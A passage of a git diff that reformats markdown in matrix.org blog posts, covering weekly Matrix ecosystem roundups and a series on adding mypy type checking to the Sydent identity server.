sort your accounts in "bundles" which can be very handy. The new account switcher button gives you a much better overview over your connected Matrix accounts now. -> +> > ### Performance +> > We did a lot refactoring under the hood in our Matrix Dart SDK and have improved our in-app database a lot. On the web it now uses IndexedDB natively while it tunes all database transactions on all platforms. This leads to the fastest FluffyChat experience we ever had and makes the app finally kinda usable with bigger accounts on all platforms. The room list is now lazy loaded which speeds up the app start (especially with multi account enabled) a lot. > Choose your own primary color > This was a long requested feature. You can now choose your favorite color to style your FluffyChat for your needs: -> -> +> +> > What will you choose? Let me know in the comments. I mostly like blue on my Ubuntu desktop. -> -> +> +> > ### New major version? +> > Ahhh by the way... What does it mean that we now have FluffyChat 1.0.0? It does NOT mean that the previous versions were not yet stable or ready for daily use. It just means that we make so many changes at once that we thought, bumping the first digit of our pseudo-semver version string might make sense. We totally messed up our versioning and are now going to do it better. Promised!! > What's next? > We are often asked: What is the roadmap of FluffyChat? > Well... we still don't have a clear roadmap and might never have. FluffyChat is completely driven by volunteers. But what I can say that we would like to do in the next months is: -> +> > * Better QA -> We would like to write some integration tests, push release candidates before new releases and involve everyone in testing them to offer the best stability possible. > * Native video calls -> Yes! There will soon land support for native video calls in the Matrix Dart SDK and we are going to implement this in FluffyChat. > * Stories -> Like you might know from SnapChat, WhatsApp or Instagram, stories are little messages you can send to all of your contacts and which will disappear after 24 hours. I would really like to implement this in FluffyChat! @@ -219,17 +234,17 @@ Desktop client for Matrix using Qt and C++17. > * Deeper support for spaces > * Knocking feature > * Drag&Drop for web -> +> > But as I said this is what we would like to do. We can't give any warranties on anything. We can only do our best. But you can help us if you like (You don't have to). -> -> * Join the FluffyChat community: https://matrix.to/#/#fluffychat:matrix.org -> * Report bugs at our issue tracker: https://gitlab.com/famedly/fluffychat/-/issues -> * Help with the translations and join our translators team: https://matrix.to/#/#fluffychat-translation:matrix.org +> +> * Join the FluffyChat community: +> * Report bugs at our issue tracker: +> * Help with the translations and join our translators team: > * Help with development directly in GitLab <3 -> * ... or support us on Liberapay so we can organize more FluffyChat developer meetings: https://matrix.to/#/#fluffychat-translation:matrix.org -> -> ### The complete changelog for FluffyChat 1.0.0: -> +> * ... or support us on Liberapay so we can organize more FluffyChat developer meetings: +> +> ### The complete changelog for FluffyChat 1.0.0 +> > * design: Chat backup dialog as a banner > * design: Encrypted by design, all users valid is normal not green > * design: Move video call button to menu @@ -285,8 +300,11 @@ Desktop client for Matrix using Qt and C++17. > * fix: Set room avatar > * fix: Various multiaccount fixes > * fix: Wrong version in snap packages +> > ![](/blog/img/zzZpaxCiMkvXADEaQmItoWJo.jpeg) +> > ![](/blog/img/OvISMDfIBmNZGGPVkDNoabRw.png) +> > ![](/blog/img/BAaGNIefBUYFvusUntZusneN.jpeg) What a massive update! Little birds told me we will hear about FluffyChat very soon! @@ -298,17 +316,21 @@ Everything related to Element but not strictly bound to a client [kittykat](https://matrix.to/#/@kittykat:matrix.org) says > **Threads** +> > * On Web, work continues on notifications and integration with homeserver APIs to improve user experience. > * On Mobile, link sharing has been added and work is about to start on notifications. -> +> > **Polls** +> > * Polls are nearly ready! If you enable this feature in labs, you can create a poll with several options, and people can vote on it. > * We’re working on the finishing touches, and the first version of polls will be available in a release (on Element Desktop, Web, Android and iOS) within a few weeks. -> +> > **Community testing** +> > * We closed 34 encryption bugs which had been resolved by improvements to the workflows and user interfaces. > * Due to the overwhelming success with bug squash sessions in the last few weeks, we are making these a regular feature. Our next session will be on Thursday 9 December at 17:00 UTC. > * For information about upcoming sessions and to join in, join [#element-community-testing:matrix.org](https://matrix.to/#/#element-community-testing:matrix.org) +> > ![](/blog/img/ATkwyyLlzZVvjmTSeDjxCAaN.png) ### Element Web/Desktop [↗](https://github.com/vector-im/element-web) @@ -317,8 +339,10 @@ Secure and independent communication, connected via Matrix. Come talk with us in [kittykat](https://matrix.to/#/@kittykat:matrix.org) announces -> * In labs, work continues on[ Information Architecture](https://github.com/vector-im/element-meta/issues/56): new history interaction to replace breadcrumbs +> * In labs, work continues on[Information Architecture](https://github.com/vector-im/element-meta/issues/56): new history interaction to replace breadcrumbs +> > ![](/blog/img/YGhfoeGyKUnYtYgEEGFMXyDT.png) +> > * We are monitoring and triaging feedback which is submitted through the new feedback UI in the app. > * Fixed long standing bug around link formatting - links are not formatted as markdown any more. @@ -352,10 +376,11 @@ Multiplatform Kotlin SDK for Matrix [Benedict](https://matrix.to/#/@benedict:imbitbu.de) says > [Trixnity](https://gitlab.com/benkuly/trixnity), a multiplatform Matrix SDK written in Kotlin, has grown up since the last release 6 month ago! It has it first release candidate for v1.0.0! -> +> > If you don't heard about Trixnity: Trixnity aims to be strongly typed, customizable and easy to use. You can register custom events and Trixnity will take care, that you can send and receive that type. -> +> > The most exciting thing is the new trixnity-client module. It provides a high level client implementation and allows you to easily implement clients for Desktop, Mobile and Web. You just need to render data from and passing user interactions to Trixnity. The key features are: +> > * [x] exchangeable database > * [x] fast cache on top of the database > * [x] E2E (olm, megolm) @@ -366,9 +391,9 @@ Multiplatform Kotlin SDK for Matrix > * [x] asynchronous message sending without caring about E2E stuff or online status > * [x] media support (thumbnail generation, offline "upload", etc.) > * [x] redactions -> +> > At the moment, Trixnity only supports JVM in all modules, but JS and Native will follow soon (to be exact: when Kotlin 1.6.10 and ktor 2.0.0 is released). I also implemented the module trixnity-olm, which implements the wrappers of libolm for Kotlin JVM/JS/Native. -> +> > Cross signing is one of the next big features, I want to implement. ### simplematrixbotlib [↗](https://github.com/KrazyKirby99999/simple-matrix-bot-lib) @@ -377,14 +402,17 @@ simplematrixbotlib is an easy to use bot library for the Matrix ecosystem writte [krazykirby99999](https://matrix.to/#/@krazykirby99999:matrix.org) reports -> ## Version 2.4.1 Released! -> ### Docs Changes: +> ## Version 2.4.1 Released +> +> ### Docs Changes +> > * Added missing `await` statements to several examples > * Added additional clarification on using the "m.notice" msgtype > * Used Markdown instead of HTML to display a specific link -> +> > Example usage is shown below: -> ``` +> +> ```python > import simplematrixbotlib as botlib > > creds = botlib.Creds("https://home.server", "user", "pass") @@ -400,15 +428,15 @@ simplematrixbotlib is an easy to use bot library for the Matrix ecosystem writte > > bot.run() > ``` -> +> > A thank you to HarHarLinks for their contributions to version 2.4.1! -> +> > Request additional features [here](https://github.com/KrazyKirby99999/simple-matrix-bot-lib/issues/new?assignees=&labels=&template=feature_request.md&title=). -> +> > [View source on Github](https://github.com/KrazyKirby99999/simple-matrix-bot-lib) > [View package on PyPi](https://pypi.org/project/simplematrixbotlib/) > [View docs on readthedocs.io](https://simple-matrix-bot-lib.readthedocs.io/en/latest/) -> https://matrix.to/#/#simplematrixbotlib:matrix.org +> ## Dept of Videos 📹 @@ -421,17 +449,17 @@ simplematrixbotlib is an easy to use bot library for the Matrix ecosystem writte [Timo ⚡️](https://matrix.to/#/@timokoesters:fachschaften.org) says > Hi everyone! Did you ever feel lost in the Matrix world? The room directory is big, but it's still hard to find something you like. Or are you a room moderator, but there is not much activity in your room because it doesn't have enough users? -> +> > This is why I want to share rooms (or spaces) I find interesting. -> +> > --- -> -> This week's room is: [#audiophiles:matrix.org](https://matrix.to/#/#audiophiles:matrix.org) -> +> +> This week's room is: [#audiophiles:matrix.org](https://matrix.to/#/#audiophiles:matrix.org) +> > **"Headphones, Speakers, IEM and any audio related equipment. Music recommendations as well."** -> +> > --- -> +> > If you want to suggest a room for this section, tell me in [#roomoftheweek:fachschaften.org](https://matrix.to/#/#roomoftheweek:fachschaften.org) ## Dept of Ping 🏓 @@ -439,6 +467,7 @@ simplematrixbotlib is an easy to use bot library for the Matrix ecosystem writte Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -455,6 +484,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|jeroenhd.nl|6970| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -470,4 +500,3 @@ Following the late reports of the spec and hookshot updates, TWIM bot's ship wen ## That's all I know 🏁 See you next week, and be sure to stop by [#twim:matrix.org](https://matrix.to/#/#twim:matrix.org) with your updates! - diff --git a/content/blog/2021/12/2021-12-03-type-coverage-for-sydent-motivation.md b/content/blog/2021/12/2021-12-03-type-coverage-for-sydent-motivation.md index 205ab8b2f..5c2f7865d 100644 --- a/content/blog/2021/12/2021-12-03-type-coverage-for-sydent-motivation.md +++ b/content/blog/2021/12/2021-12-03-type-coverage-for-sydent-motivation.md @@ -30,8 +30,7 @@ In this first part, we'll concentrate on the first two topics; the [second](http ## Why do this now? -It took us a long time (too long) to notice that the Sydent instance serving `matrix.org` [was failing to send SMS messages for verification](https://github.com/vector-im/element-web/issues/19317). We suspected that something was going wrong with our [API call to OpenMarket](https://github.com/matrix-org/sydent/blob/main/sydent/sms/openmarket.py). Our first step was to [improve logging](https://github.com/matrix-org/sydent/issues/410), so we could start to deduce what was going wrong and why. Whilst trawling through logs, we spotted [ -one problem](https://github.com/matrix-org/sydent/pull/413#pullrequestreview-775154313) which meant we weren't actually sending off the API request in the first place. Further investigation revealed a [strings-versus-bytes confusion](https://github.com/matrix-org/sydent/pull/415) which meant that we would always (incorrectly) interpret the API response as having failed. +It took us a long time (too long) to notice that the Sydent instance serving `matrix.org` [was failing to send SMS messages for verification](https://github.com/vector-im/element-web/issues/19317). We suspected that something was going wrong with our [API call to OpenMarket](https://github.com/matrix-org/sydent/blob/main/sydent/sms/openmarket.py). Our first step was to [improve logging](https://github.com/matrix-org/sydent/issues/410), so we could start to deduce what was going wrong and why. Whilst trawling through logs, we spotted [one problem](https://github.com/matrix-org/sydent/pull/413#pullrequestreview-775154313) which meant we weren't actually sending off the API request in the first place. Further investigation revealed a [strings-versus-bytes confusion](https://github.com/matrix-org/sydent/pull/415) which meant that we would always (incorrectly) interpret the API response as having failed. All in all, phone number verification was unknowingly broken in the 2.4.0 release, to be fixed in 2.4.6 a month later. How could we do better? Better test coverage is (as ever) one answer. But [it struck me](https://github.com/matrix-org/sydent/pull/413#pullrequestreview-775154313) that the two bugs we'd encountered might be ripe for automatic detection: @@ -64,7 +63,7 @@ Are there other opportunities to spot the error? Here's the relevant bit of sour The call to `requestToken` produces a value of type `Awaitable[int]`. If we tried to assign that to an expression of type `int` we'd get an error that mypy can spot. -``` +```python $ cat example.py async def foo() -> int: return 1 @@ -112,7 +111,8 @@ In this sample, `resp.headers` is a [twisted.web.http_headers.Headers](https://t headers = dict(resp.headers.getAllRawHeaders()) reveal_type(headers) ``` -``` + +```txt $ mypy sydent/sms/openmarket.py:110: note: Revealed type is "builtins.dict[builtins.bytes*, typing.Sequence*[builtins.bytes]]" ``` @@ -121,7 +121,7 @@ sydent/sms/openmarket.py:110: note: Revealed type is "builtins.dict[builtins.byt That's all fine and dandy. But why didn't we spot this before if the annotations were all in place in twisted? Let's put aside the fact that, erm, we weren't running mypy in Sydent's CI [until the recent sprint](https://github.com/matrix-org/sydent/pull/416), unlike our [other](https://github.com/matrix-org/synapse/blob/5640992d176a499204a0756b1677c9b1575b0a49/.github/workflows/tests.yml#L21) [projects](https://github.com/matrix-org/sygnal/blob/4a7367e84476a4b1054b1fe20e9e06f9f66e27f8/.github/workflows/pipeline.yml#L18-L26). Checking out the problematic version, we can run mypy on the file we know to contain the bug. -``` +```txt $ git checkout v2.4.0 $ mypy --strict sydent/sms/openmarket.py sydent/sms/openmarket.py:82: error: Dict entry 0 has incompatible type "str": "int"; expected "str": "str" [dict-item] @@ -129,7 +129,6 @@ sydent/sms/openmarket.py:82: error: Dict entry 0 has incompatible type "str": "i Huh. Mypy spots something, but not the error we were hoping for. What's going on here? We can ask mypy to show its working with `reveal_type` again. - ```python resp = await self.http_cli.post_json_get_nothing( API_BASE_URL, send_body, {"headers": req_headers} @@ -143,7 +142,7 @@ Huh. Mypy spots something, but not the error we were hoping for. What's going on This yields: -``` +```txt $ mypy sydent/sms/openmarket.py sydent/sms/openmarket.py:82: error: Dict entry 0 has incompatible type "str": "int"; expected "str": "str" [dict-item] sydent/sms/openmarket.py:102: note: Revealed type is "twisted.web.iweb.IResponse*" @@ -167,7 +166,7 @@ The problem here is that mypy can't see that `resp.headers` is a twisted `Header reveal_type(headers) ``` -``` +```txt $ mypy sydent/sms/openmarket.py sydent/sms/openmarket.py:82: error: Dict entry 0 has incompatible type "str": "int"; expected "str": "str" [dict-item] sydent/sms/openmarket.py:104: note: Revealed type is "twisted.web.iweb.IResponse*" diff --git a/content/blog/2021/12/2021-12-10-this-week-in-matrix-2021-12-10.md b/content/blog/2021/12/2021-12-10-this-week-in-matrix-2021-12-10.md index b474f4b30..e3a64efdc 100644 --- a/content/blog/2021/12/2021-12-10-this-week-in-matrix-2021-12-10.md +++ b/content/blog/2021/12/2021-12-10-this-week-in-matrix-2021-12-10.md @@ -40,42 +40,47 @@ Very handy to quickly know if a server is well maintained or not before making i [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) says -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/unstable/proposals. -> -> +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . +> +> > ## MSC Status -> +> > **New MSCs:** +> > * [MSC3554: Extensible Events - Translatable Text](https://github.com/matrix-org/matrix-doc/pull/3554) > * [MSC3553: Extensible Events - Videos](https://github.com/matrix-org/matrix-doc/pull/3553) > * [MSC3552: Extensible Events - Images and Stickers](https://github.com/matrix-org/matrix-doc/pull/3552) > * [MSC3551: Extensible Events - Files](https://github.com/matrix-org/matrix-doc/pull/3551) > * [MSC3550: Allow HTTP 403 as a response to profile lookups](https://github.com/matrix-org/matrix-doc/pull/3550) > * [MSC3547: Allow appservice bot user to read any rooms the appserice is part of](https://github.com/matrix-org/matrix-doc/pull/3548) -> +> > **MSCs with proposed Final Comment Period:** +> > * *No MSCs entered proposed FCP state this week.* -> +> > **MSCs in Final Comment Period:** +> > * *No MSCs are in FCP.* -> +> > **Merged MSCs:** +> > * [MSC3419: Allow guests to send more event types](https://github.com/matrix-org/matrix-doc/pull/3419) -> +> > ## Spec Updates -> +> > Extensible events are coming! With lots of potential usecases to be built on top of the concept (such as threading, polls, and any type of data one would like to through on top of existing room events), extensible events are finally getting some love. New MSCs are available above, which detail some of these usecases. Exciting times! -> +> > A small correction from last week's issue: the next aggregations MSC to be focused on (after [MSC2675](https://github.com/matrix-org/matrix-doc/pull/2675) (serverside aggregations) is [MSC2677](https://github.com/matrix-org/matrix-doc/pull/2677) (annotations and reactions), as it's a more pressing blocker for usecases such as threading and polls. -> +> > Otherwise, the Spec Core Team is continuing to wind down in preparation for the holidays ☃️ -> +> > ## Random MSC of the Week -> +> > The random spec of the week is... [MSC3015: Room state personal overrides](https://github.com/matrix-org/matrix-doc/pull/3015). -> +> > Quite a novel concept, and one that would enable many usecases, such as the ones described in the MSC itself. > Check it out if that's something that interests you! +> > ![](/blog/img/5c2f21a5f2f17106aad9fd177c973720bb611cd0.png) ## Dept of Servers 🏢 @@ -87,11 +92,11 @@ Synapse is the reference homeserver for Matrix [dmr](https://matrix.to/#/@dmrobertson:matrix.org) reports > This week we cut Synapse release candidate [1.49.0rc1](https://github.com/matrix-org/synapse/releases/tag/v1.49.0rc1) It includes a bunch of work to supporta plethora of MSCs ([MSC 2675](https://github.com/matrix-org/matrix-doc/pull/2675/), [MSC3030](https://github.com/matrix-org/matrix-doc/pull/3030), [MSC2918](https://github.com/matrix-org/matrix-doc/blob/main/proposals/2918-refreshtokens.md#msc2918-refresh-tokens), [MSC2946](https://github.com/matrix-org/matrix-doc/pull/2946)), a crop of bugfixes and improvements to our documentation which incorporate Synapse's old wiki. And as ever, there's a bunch of internal type hinting to keep the Synapse team's blood pressure at healthy levels. -> +> > The formal release of Synapse 1.49.0 is scheduled for the coming Tuesday. This will be the last Synapse release of 2021 as the Synapse team prepare for a break over the Christmas period. Releases will continue at the usual pace in the new year, with 1.50.0rc1 slated for 2022/01/04 and 1.50.0 for 2022/01/11. -> +> > **Please note:** Synapse 1.49 will be the last version to support Python 3.6, PostrgreSQL 9.6, and Ubuntu 18.04 LTS (Bionic): by our next release, these will have reached their upstream end-of-life. If you're reliant on any of these platforms, please ensure you have plans to upgrade. -> +> > In other news, we're [preparing](https://github.com/matrix-org/sygnal/blob/main/CHANGELOG.md#sygnal-0110-2021-12-09) to release a new version of [Sygnal](https://github.com/matrix-org/sygnal) with a series of fixes for common errors. This should make Sygnal administrators much happier by removing an awful lot of error spam from logs! ### Sydent [↗](https://github.com/matrix-org/sydent) @@ -129,6 +134,7 @@ A client for matrix, the decentralized communication protocol [Tobias Fella](https://matrix.to/#/@tobiasfella:kde.org) announces > NeoChat version 21.12 is out! You may have noticed that this version number is roughly twenty times higher than the previous one. This means that NeoChat is now twenty times as good as the last version. Or it means that version numbers are utterly meaningless and we switched to a date-based version number system since NeoChat is now released together with many other plasma-mobile related apps. This also means that new versions will arrive monthly from now on. New features and fixes in this version include - but are not limited to: +> > * Spell checking while writing a message > * Improved markdown to html conversion when sending a message > * Built-in theme switching @@ -136,8 +142,10 @@ A client for matrix, the decentralized communication protocol > * Support for custom emojis > * Support for Spoilers > * Support for Blurhashes -> +> +> > ![](/blog/img/6dd2cd893f050b850d598dac0a04eb6cbe655dc3.png) +> > ![](/blog/img/c740e976129867e670cad45ffffc08beeb802387.png) ### Element [↗](https://element.io) @@ -147,21 +155,24 @@ Everything related to Element but not strictly bound to a client [Danielle Kirkwood](https://matrix.to/#/@daniellekirkwood:one.ems.host) announces > ## Threads +> > * Threads is making excellent progress; This week we held 2 internal testing sessions, both of which went swimmingly. > * We’re continuing our hard-work on Notifications to fix those up as best we can. > * Also, we started work on the Threads Filter. The filter will allow you to choose between all the threads in a room and threads you’ve actively participated in. > * If you’re using the Labs version of Threads, let us know what you think so far! -> +> > ## Polls +> > * Exciting news on Polls; All development on Polls MVP is nearly complete, and will soon be making their way to a production environment near you! > * Polls will be available behind Labs flags at first. We're excited to see people using it and we’re looking forward to hearing any feedback/comments. -> +> > ## Community Testing +> > * Closed 20 out of 36 issues in encryption and verification (E2EE) this week. > * We are planning three testing sessions for next week: -> - Tuesday 17:00-18:00 UTC - first time user experience on iOS, Android and Web -> - Wednesday: 16:00-17:30 UTC - information architecture changes on Web (with Michael and Nique joining us from the Delight team) -> - Thursday 16:30-18:00 UTC - bug squash edition on encryption, can we get the issue count to an all new low? +> * Tuesday 17:00-18:00 UTC - first time user experience on iOS, Android and Web +> * Wednesday: 16:00-17:30 UTC - information architecture changes on Web (with Michael and Nique joining us from the Delight team) +> * Thursday 16:30-18:00 UTC - bug squash edition on encryption, can we get the issue count to an all new low? > * Join us! We’re at [#element-community-testing:matrix.org](https://matrix.to/#/#element-community-testing:matrix.org) ### Element Web/Desktop [↗](https://github.com/vector-im/element-web) @@ -170,22 +181,23 @@ Secure and independent communication, connected via Matrix. Come talk with us in [Danielle Kirkwood](https://matrix.to/#/@daniellekirkwood:one.ems.host) announces -> * We are monitoring and triaging feedback, which is submitted through the new feedback interface in the app. +> * We are monitoring and triaging feedback, which is submitted through the new feedback interface in the app. > * In Labs: -> * Work continues on [Information Architecture](https://github.com/vector-im/element-meta/issues/56): this week we’ve made a spotlight search labs feature that we’ll be testing to replace the current filter. -> * We’re also starting to test preferences per space, so keep your eyes peeled for those. +> * Work continues on [Information Architecture](https://github.com/vector-im/element-meta/issues/56): this week we’ve made a spotlight search labs feature that we’ll be testing to replace the current filter. +> * We’re also starting to test preferences per space, so keep your eyes peeled for those. [madlittlemods (Eric Eastwood)](https://matrix.to/#/@madlittlemods:matrix.org) reports: > ## Jump to date headers soon in Element -> +> > From the [experimental MSC3030 implementation merge to Synapse update](https://matrix.org/blog/2021/12/03/this-week-in-matrix-2021-12-03#gitter) in TWIM last week, we now also have the start of some [client usage in Element](https://github.com/matrix-org/matrix-react-sdk/pull/7317) to make featureful jump to date headers! -> +> > If you've ever tried to find a message back in the past, you've experienced the burdensome task of having to scroll back manually for days, even months! With the jump to date headers, that will be a thing of the past 😌. Clicking any date separator in the room timeline, will give shortcuts to jump to last week, last month, jump to any date using the date picker, or even the beginning of the room to follow a room upgrade chain. -> +> +> > ![](/blog/img/2021-12-10-jumptodate.png) -> -> +> +> > This is currently still in a [draft pull request state](https://github.com/matrix-org/matrix-react-sdk/pull/7317) but will give another update when it lands in Element Labs for everyone to use. ### Element iOS [↗](https://github.com/vector-im/element-ios) @@ -206,8 +218,8 @@ Secure and independent communication for Android, connected via Matrix. Come tal [Danielle Kirkwood](https://matrix.to/#/@daniellekirkwood:one.ems.host) reports > * Element Android 1.3.9 has been released on the PlayStore and is available for the beta testers: -> * This version adds support for draft voice messages and a new design for URL previews. -> * Opt-in PostHog analytics will land soon, and will be included in the next release. +> * This version adds support for draft voice messages and a new design for URL previews. +> * Opt-in PostHog analytics will land soon, and will be included in the next release. > * A new "Legals” screen has been added to Settings in order for users to see all legal info pages for Element, the user's homeserver and the user's identity server (if any). > * The next release candidate will be prepared next Tuesday. @@ -217,13 +229,16 @@ Commune is a communications suite built on top of matrix. Commune aims to bring [erlend_sh](https://matrix.to/#/@erlend_sh:matrix.org) says -> So here’s the thing ahq (dev) and I (product) have been working on: https://github.com/commune-org/commune +> So here’s the thing ahq (dev) and I (product) have been working on: > It’s a chat/forum hybrid. Still in pre-alpha, proof-of-concept stage. -> +> +> > ![](/blog/img/2021-12-10-commune-1.png) -> +> +> > ![](/blog/img/2021-12-10-commune-2.png) -> +> +> > ![](/blog/img/2021-12-10-commune-3.png) ## Dept of Non Clients 🎛️ @@ -235,9 +250,9 @@ Matrix powered stream overlay for OBS, to integrate live chat in your favorite ( [f0x](https://matrix.to/#/@f0x:pixie.town) announces > TWIM I wrote a Matrix powered stream overlay for OBS, to integrate live chat in your favorite (selfhosted) streaming setups. Was a great little 2 evening project to develop while livestreaming it's development :) -> -> You can find the code and instructions at https://git.pixie.town/f0x/matrix-streamchat -> and a hosted instance at https://streamchat.pixie.town +> +> You can find the code and instructions at +> and a hosted instance at {{ youtube_player(video_id="03F8Bv2_leM") }} ## Dept of SDKs and Frameworks 🧰 @@ -249,35 +264,37 @@ Olm bindings for Java [brevilo](https://matrix.to/#/@brevilo:matrix.org) announces > [jOlm](https://github.com/brevilo/jolm) has seen two releases since the previous update, [v1.0.7](https://github.com/brevilo/jolm/releases/tag/1.0.7) and [v1.0.8](https://github.com/brevilo/jolm/releases/tag/1.0.8). jOlm now supports (and requires at least) the latest `libolm` version 3.2.7. Please note that we deprecated a number of methods in favor of renamed siblings. The majority of the old ones will be removed in the upcoming jOlm 1.1 release, likely published soon after `libolm`'s [announced](https://matrix.org/blog/2021/12/03/pre-disclosure-upcoming-security-release-of-libolm-and-matrix-js-sdk) security release on Dec. 13th. Please follow suit and update your implementations accordingly. -> -> ## Summary: +> +> ## Summary +> > * 🧰 Maintenance and upstream update releases > * ⚠️ Renamed methods for improved coherence and due to upstream changes (old ones deprecated) > * ✅ Up to date with Olm 3.2.7 (new minimum requirement) -> -> ## [Changelog](https://github.com/brevilo/jolm/compare/1.0.4...1.0.8): +> +> ## [Changelog](https://github.com/brevilo/jolm/compare/1.0.4...1.0.8) +> > * Deprecated methods (see the individual [release notes](https://github.com/brevilo/jolm/releases) for full details): -> - `Account.markOneTimeKeysAsPublished()` -> - `Account.fallbackKey()` -> - `InboundGroupSession.export()` -> - `InboundGroupSession.importer()` -> - `Utility.ed25519_verify()` +> * `Account.markOneTimeKeysAsPublished()` +> * `Account.fallbackKey()` +> * `InboundGroupSession.export()` +> * `InboundGroupSession.importer()` +> * `Utility.ed25519_verify()` > * Refined unit tests > * Updated dependencies -> +> > Cheers! ## Dept of Videos 📹 [Matthew](https://matrix.to/#/@matthew:matrix.org) reports -> We previewed yet more native Matrix VoIP conferencing at CommCon: https://www.youtube.com/watch?v=A4k7DVIK5TE&list=PLvNS4EBAxmJJbvGW-PfXdXOSy9AjHjCLV +> We previewed yet more native Matrix VoIP conferencing at CommCon: {{ youtube_player(video_id="A4k7DVIK5TE") }} [Half-Shot](https://matrix.to/#/@Half-Shot:half-shot.uk) says -> If you've got room for more video content, I also said more things about bridges. In this one, we do a live code session for a twilio bridge and watch it fly! https://www.youtube.com/watch?v=S5q3FLLvRn4 +> If you've got room for more video content, I also said more things about bridges. In this one, we do a live code session for a twilio bridge and watch it fly! {{ youtube_player(video_id="S5q3FLLvRn4") }} @@ -286,19 +303,19 @@ Olm bindings for Java [Henri](https://matrix.to/#/@hp:hq.wily.im) says > Wily Messenger Matrix client -> +> > Wily has launched an iOS Matrix client to enable messaging in restricted- or poor networks. mText and Room events are transferred as DNS payload, thus bypassing most captive portals, while message headers are minimized to enable messaging in very low bandwidth/high latency networks. -> +> > Wily Messenger is in POC stage, missing i.e. encryption at the moment, among others. We are committed to develop it further and invite a Kotlin developer to join our journey. DM @hp:hq.wily.im -> -> Download: https://apps.apple.com/lv/app/id1576476396 +> +> Download: ## Room of the Week 📆 [TravisR](https://matrix.to/#/@travis:t2l.io) says -> We've set up a new Element Space for the Element family of clients and projects, finally. Feel free to join it at [#community:element.io](https://matrix.to/#/#community:element.io) and be sure to check out [#community:matrix.org](https://matrix.to/#/#community:matrix.org) while you're there for everything Matrix related. -> +> We've set up a new Element Space for the Element family of clients and projects, finally. Feel free to join it at [#community:element.io](https://matrix.to/#/#community:element.io) and be sure to check out [#community:matrix.org](https://matrix.to/#/#community:matrix.org) while you're there for everything Matrix related. +> > There's also [#element-translators:matrix.org](https://matrix.to/#/#element-translators:matrix.org) for the Element Translators community out there. ## Dept of Ping 🏓 @@ -306,6 +323,7 @@ Olm bindings for Java Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -322,6 +340,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|matrix.org|3415| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -348,4 +367,3 @@ The bot welded back the plate of the engine casing, made sure nothing could get ## That's all I know 🏁 See you next week, and be sure to stop by [#twim:matrix.org](https://matrix.to/#/#twim:matrix.org) with your updates! - diff --git a/content/blog/2021/12/2021-12-10-type-coverage-for-sydent-annotation.md b/content/blog/2021/12/2021-12-10-type-coverage-for-sydent-annotation.md index ea5df0240..f676811f5 100644 --- a/content/blog/2021/12/2021-12-10-type-coverage-for-sydent-annotation.md +++ b/content/blog/2021/12/2021-12-10-type-coverage-for-sydent-annotation.md @@ -32,7 +32,7 @@ In retrospect, I think it would be smoother to generate some kind of dependency ### You're at the mercy of your dependencies I think this is my single biggest takeaway from the process of adding annotations to Sydent. -I'll admit the phrasing is melodramatic, but I think it rings true. +I'll admit the phrasing is melodramatic, but I think it rings true. Improving coverage boils down to giving the typechecker more information about your program. The more information it has, the more it can check—and the more errors it can spot. (Hopefully this doesn't make typing come across like a pyramid scheme.) If your dependencies aren't typed, mypy can't validate you're correctly providing inputs and correctly consuming outputs. You might have a bigger impact on overall typing coverage by annotating a dependency (directly or via stubs). I have a hunch that bugs are more likely in code that uses an external dependency: we're much more familiar with the details of our own source code compared to that of a third party we trust. @@ -46,7 +46,7 @@ Twisted is Sydent's biggest dependency, and I certainly felt at its mercy! In pa Early into the process, mypy reported that calling the function [twisted.python.log.err](https://twistedmatrix.com/documents/current/api/twisted.python.log.html#err) was an error. It did so because I was running mypy in [--strict mode](https://mypy.readthedocs.io/en/stable/command_line.html#cmdoption-mypy-strict). We'll talk more about why I did so and what this means [next time](https://matrix.org/blog/2021/12/17/type-coverage-for-sydent-evaluation); for now, it's enough to know that calling a function that isn't fully annotated from within a function that is constitutes an error under strict mode. `twisted` is partially annotated: many key modules and functions have type annotations, but others don't. I was reluctant to give up on `--strict`. Instead, I decided to stub the `err` function myself. -A stub is a cut-down version of a python function, class or module which lives in a `.pyi` file. All implementation details are removed; only type annotations remain. Stubs are useful when you want to write annotations for code you don't control. The [typeshed](https://github.com/python/typeshed) library is probably the best example: a collection of third party stubs for the standard library, plus some popular third party packages. Microsoft's [python-type-stubs](https://github.com/microsoft/python-type-stubs) is another example. They'd also solve the problem I mentioned at the end of the [first part](https://matrix.org/blog/2021/12/03/type-coverage-for-sydent-motivation): I could use a stub to _teach_ mypy that `IResponse.headers` was a `Headers` object. +A stub is a cut-down version of a python function, class or module which lives in a `.pyi` file. All implementation details are removed; only type annotations remain. Stubs are useful when you want to write annotations for code you don't control. The [typeshed](https://github.com/python/typeshed) library is probably the best example: a collection of third party stubs for the standard library, plus some popular third party packages. Microsoft's [python-type-stubs](https://github.com/microsoft/python-type-stubs) is another example. They'd also solve the problem I mentioned at the end of the [first part](https://matrix.org/blog/2021/12/03/type-coverage-for-sydent-motivation): I could use a stub to _teach_ mypy that `IResponse.headers` was a `Headers` object. Writing a stub for 